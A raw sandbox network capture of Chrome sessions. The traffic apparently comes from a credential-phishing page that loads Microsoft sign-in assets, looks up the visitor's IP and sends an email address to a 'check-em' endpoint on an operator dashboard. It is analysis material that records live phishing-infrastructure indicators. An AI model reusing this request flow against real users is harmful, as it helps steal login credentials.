2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 6e 74 2d 77 72 61 70 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 2e 63 61 6c 6c 2d 73 74 61 63 6b 20 75 6c 20 6c 69 20 2e 65 6c 65 6d 65 6e 74 2d 77 72 61 70 3a 68 6f 76 65 72 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 64 66 39 66 66 3b 0a 7d 0a 2e 63 61 6c 6c 2d 73 74 61 63 6b 20 75 6c 20 6c 69 20 2e 65 6c 65 6d 65 6e 74 7b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 38 36 30 70 78 3b 20 2f 2a 20 39 36 30 70 78 20 2d 20 35 30 70 78 20 2a 20 32 20 2a 2f 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 35 30 70 78 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e Data Ascii: nt-wrap{ background-color: #fafafa;}.call-stack ul li .element-wrap:hover{ background-color: #edf9ff;}.call-stack ul li .element{ min-width: 860px; /* 960px - 50px * 2 */ margin: 0 auto; padding: 0 50px; position: relative;}.
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 2f 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 35 30 70 78 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 63 61 6c 6c 2d 73 74 61 63 6b 20 75 6c 20 6c 69 20 2e 63 6f 64 65 20 2e 6c 69 6e 65 73 2d 69 74 65 6d 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 32 30 30 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 61 61 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 Data Ascii: / margin: 15px auto; padding: 0 50px; position: relative;}.call-stack ul li .code .lines-item{ position: absolute; z-index: 200; display: block; width: 25px; text-align: right; color: #aaa; line-height: 20px;
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 37 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 38 70 78 3b 0a 7d 0a 2e 66 6f 6f 74 65 72 20 69 6d 67 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 2d 35 30 70 78 3b 0a 7d 0a 0a 2f 2a 20 68 69 67 68 6c 69 67 68 74 2e 6a 73 20 2a 2f 0a 2e 63 6f 6d 6d 65 6e 74 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 69 74 61 6c 69 63 3b 0a 7d 0a 2e 6b 65 79 77 6f 72 64 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 38 30 3b 0a 7d 0a 2e 6e 75 6d 62 65 72 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 61 3b 0a 7d 0a 2e 6e 75 6d 62 65 72 7b 0a Data Ascii: x; padding-top: 67px; margin-bottom: 28px;}.footer img{ position: absolute; right: -50px;}/* highlight.js */.comment{ color: #808080; font-style: italic;}.keyword{ color: #000080;}.number{ color: #00a;}.number{
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 75 62 6c 69 63 5f 68 74 6d 6c 2f 63 6f 6e 74 72 6f 6c 6c 65 72 73 2f 53 69 74 65 43 6f 6e 74 72 6f 6c 6c 65 72 2e 70 68 70 28 35 32 33 29 3a 20 79 69 69 5c 62 61 73 65 5c 45 72 72 6f 72 48 61 6e 64 6c 65 72 2d 26 67 74 3b 68 61 6e 64 6c 65 45 72 72 6f 72 28 29 0a 23 31 20 5b 69 6e 74 65 72 6e 61 6c 20 66 75 6e 63 74 69 6f 6e 5d 3a 20 61 70 70 5c 63 6f 6e 74 72 6f 6c 6c 65 72 73 5c 53 69 74 65 43 6f 6e 74 72 6f 6c 6c 65 72 2d 26 67 74 3b 61 63 74 69 6f 6e 53 74 61 74 73 28 29 0a 23 32 20 2f 68 6f 6d 65 2f 61 64 6d 69 6e 2f 77 65 62 2f 64 61 73 68 62 6f 61 72 64 2e 73 70 61 6d 66 61 74 68 65 72 2e 63 6f 6d 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 76 65 6e 64 6f 72 2f 79 69 69 73 6f 66 74 2f 79 69 69 32 2f 62 61 73 65 2f 49 6e 6c 69 6e 65 41 63 74 69 6f 6e 2e Data Ascii: ublic_html/controllers/SiteController.php(523): yii\base\ErrorHandler->handleError()#1 [internal function]: app\controllers\SiteController->actionStats()#2 /home/admin/web/dashboard.spamfather.com/public_html/vendor/yiisoft/yii2/base/InlineAction.
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 5a 69 53 30 64 45 41 50 38 41 2f 77 44 2f 6f 4c 32 6e 6b 77 41 41 41 41 6c 77 53 46 6c 7a 41 41 41 4c 45 77 41 41 43 78 4d 42 41 4a 71 63 47 41 41 41 41 52 31 4a 52 45 46 55 53 4d 66 74 6c 54 46 4b 78 45 41 59 68 62 38 6e 32 63 37 43 61 72 47 52 39 52 41 57 48 6b 46 73 76 4d 49 71 43 79 34 69 56 70 5a 36 41 53 39 67 49 58 71 44 62 62 64 59 4c 45 55 73 74 4c 50 77 42 74 35 41 58 51 77 2b 6d 78 54 44 6b 6b 79 79 6d 57 77 68 2b 43 41 51 4d 73 50 2f 7a 5a 74 2f 58 6b 62 41 45 62 41 50 69 4f 56 6c 59 47 72 37 72 6d 71 43 67 43 63 67 6f 37 31 79 32 37 74 56 67 39 6c 43 38 57 76 62 74 33 55 56 4a 56 30 43 42 30 45 4e 59 6f 42 51 47 35 4b 32 47 71 78 36 76 61 6b 39 41 63 38 6b 79 76 5a 4f 31 64 67 61 4b 31 59 6e 41 45 6e 44 70 6a 32 49 36 61 7a 6b 32 77 58 51 42 Data Ascii: ZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAR1JREFUSMftlTFKxEAYhb8n2c7CarGR9RAWHkFsvMIqCy4iVpZ6AS9gIXqDbbdYLEUstLPwBt5AXQw+mxTDkkyymWwh+CAQMsP/zZt/XkbAEbAPiOVlYGr7rmqCgCcgo71y27tVg9lC8Wvbt3UVJV0CB0ENYoBQG5K2Gqx6vak9Ac8kyvZO1dgaK1YnAEnDpj2I6azk2wXQB
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 45 33 62 68 54 74 30 59 69 6a 6d 51 54 75 67 75 75 50 57 63 42 4f 6f 72 31 73 66 46 37 47 6a 36 74 78 53 37 38 43 39 6e 6a 53 72 61 53 4a 6e 76 54 56 39 58 52 58 79 77 47 70 6e 76 77 62 63 79 39 53 61 50 4a 74 35 57 44 65 59 48 2f 32 4d 74 58 38 4d 66 32 66 68 6a 45 33 51 57 50 4b 41 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 22 20 61 6c 74 3d 22 53 65 61 72 63 68 20 53 74 61 63 6b 6f 76 65 72 66 6c 6f 77 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 55 6e 64 65 66 69 6e 65 64 2b 70 72 6f 70 65 72 74 79 25 33 41 2b 73 74 64 43 6c 61 73 73 25 33 41 25 33 41 25 32 34 6c 6f 63 Data Ascii: E3bhTt0YijmQTuguuPWcBOor1sfF7Gj6txS78C9njSraSJnvTV9XRXywGpnvwbcy9SaPJt5WDeYH/2MtX8Mf2fhjE3QWPKAAAAAASUVORK5CYII=" alt="Search Stackoverflow"/> </a> <a href="https://www.google.com/search?q=Undefined+property%3A+stdClass%3A%3A%24loc
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 4d 36 65 44 30 69 59 57 52 76 59 6d 55 36 62 6e 4d 36 62 57 56 30 59 53 38 69 49 48 67 36 65 47 31 77 64 47 73 39 49 6b 46 6b 62 32 4a 6c 49 46 68 4e 55 43 42 44 62 33 4a 6c 49 44 55 75 4e 53 31 6a 4d 44 45 30 49 44 63 35 4c 6a 45 31 4d 54 51 34 4d 53 77 67 4d 6a 41 78 4d 79 38 77 4d 79 38 78 4d 79 30 78 4d 6a 6f 77 4f 54 6f 78 4e 53 41 67 49 43 41 67 49 43 41 67 49 6a 34 67 50 48 4a 6b 5a 6a 70 53 52 45 59 67 65 47 31 73 62 6e 4d 36 63 6d 52 6d 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 78 4f 54 6b 35 4c 7a 41 79 4c 7a 49 79 4c 58 4a 6b 5a 69 31 7a 65 57 35 30 59 58 67 74 62 6e 4d 6a 49 6a 34 67 50 48 4a 6b 5a 6a 70 45 5a 58 4e 6a 63 6d 6c 77 64 47 6c 76 62 69 42 79 5a 47 59 36 59 57 4a 76 64 58 51 39 49 69 49 67 65 Data Ascii: M6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIge

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49731	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:01 UTC	590	OUT	GET /cosi/GhYFuqfXa2S89Zec HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:01 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:01 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:01 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 1f40h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-04-25 19:45:01 UTC	1007	IN	Data Raw: 88 66 66 66 66 66 66 66 b0 0d 88 0d 0a 33 64 36 0d 0a 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 ff ff ff ff ff ff ff ff 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: fffffff3d6ffffffffffffffffffffffffffff(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49734	104.26.13.205	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:01 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:01 UTC	217	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:01 GMT Content-Type: application/json Content-Length: 23 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a0d4bffe1212ea-ATL
2024-04-25 19:45:01 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 22 7d Data Ascii: {"ip":"185.152.66.230"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49733	152.199.4.44	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:01 UTC	420	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:01 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2808614 Cache-Control: public, max-age=31536000 Content-MD5: R2FAVxfpONfnQAuxVxXbHg== Content-Type: image/svg+xml Date: Thu, 25 Apr 2024 19:45:01 GMT Etag: 0x8DB5C3F4BB4F03C Last-Modified: Wed, 24 May 2023 10:11:52 GMT Server: ECAcc (agc/7FA7) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 687a15df-701e-0054-73bd-7d951d000000 x-ms-version: 2009-09-19 Content-Length: 1592 Connection: close
2024-04-25 19:45:01 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49736	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:01 UTC	588	OUT	GET /ms/lxzGbv3hy4WdYfNa HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:02 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:02 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:02 UTC	1876	IN	Data Raw: 37 34 38 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 1f 00 72 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: 748JFIFxxCCr"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49735	35.190.80.1	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:02 UTC	563	OUT	OPTIONS /report/v4?s=ytGYuw0SBBtS3LQxOuMJo%2Bh02VwuV1wwNr6UzKA94yhd9%2BmZwrd8fuECyCuzwdgcQ%2FfcHJ4xhwg%2BLEOj6vkPNJ%2F%2BJZ5kfDghCo04epF2x3PrRXmfjyzmx4GVPyLsbOmdTls4p5fDgtXeOHA%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://dashboard.spamfather.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:02 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 25 Apr 2024 19:45:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49737	35.190.80.1	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	496	OUT	POST /report/v4?s=ytGYuw0SBBtS3LQxOuMJo%2Bh02VwuV1wwNr6UzKA94yhd9%2BmZwrd8fuECyCuzwdgcQ%2FfcHJ4xhwg%2BLEOj6vkPNJ%2F%2BJZ5kfDghCo04epF2x3PrRXmfjyzmx4GVPyLsbOmdTls4p5fDgtXeOHA%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 667 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:03 UTC	667	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 33 38 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 3a 2f 2f 6c 69 64 65 2e 61 6c 6f 73 61 6c 63 61 2e 66 75 6e 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 32 2e 33 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 35 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 Data Ascii: [{"age":0,"body":{"elapsed_time":1383,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"http://lide.alosalca.fun/","sampling_fraction":1.0,"server_ip":"172.67.172.36","status_code":500,"type":"http.error"},"type":"network-error","url"
2024-04-25 19:45:03 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 25 Apr 2024 19:45:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49738	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	590	OUT	GET /apr1/K7oawgiQZGO729O3 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:03 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:03 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:03 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 b3 02 61 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCa"}!1AQa"q
2024-04-25 19:45:03 UTC	4549	IN	Data Raw: 7f a8 da 59 5c df ca 60 b3 86 e2 0d 0a 31 30 30 30 0d 0a 75 8d ee 64 0a 58 a4 60 9c bb 60 13 81 93 80 4d 67 68 df 10 bc 2b e2 2d 62 eb 48 d2 7c 4d a3 ea 9a ad ae 7e d1 63 67 7f 14 d3 c3 83 83 be 35 62 cb 83 ea 2b c5 7f 6a df 0f c3 e2 af 1a fc 13 d2 6e 66 9a 1b 6b af 13 3a 4c 6d e4 68 dd a3 fb 2c a5 93 72 90 40 60 0a 9c 1e 8c 6b 17 f6 90 f8 6d e1 4f 86 72 7c 32 f1 47 84 fc 39 a5 f8 73 59 b1 f1 66 9f 65 1d c6 95 69 1d b1 78 26 73 1c 91 be c0 37 29 53 df 3f a9 aa b0 ae 7d 2a da f6 98 ba d2 68 ed a8 da 2e ae f0 1b 95 b0 33 af 9e d1 03 b4 c8 23 ce e2 a0 90 37 63 19 a4 bb f1 0e 97 a7 ea d6 3a 5d d6 a5 67 6d a9 df 07 36 96 53 4e 89 35 c0 41 97 31 a1 39 7d a3 93 80 71 de bc 6f 51 91 57 f6 d2 d1 94 b0 0c de 0a b8 c2 e7 93 8b b4 aa 9f 16 88 ff 00 86 ae f8 20 33 cf Data Ascii: Y\`1000udX``Mgh+-bH\|M~cg5b+jnfk:Lmh,r@`kmOr\|2G9sYfeix&s7)S?}*h.3#7c:]gm6SN5A19}qoQW 3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49744	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	387	OUT	GET /web/site/check-em?email=joeblow@xyz.com HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
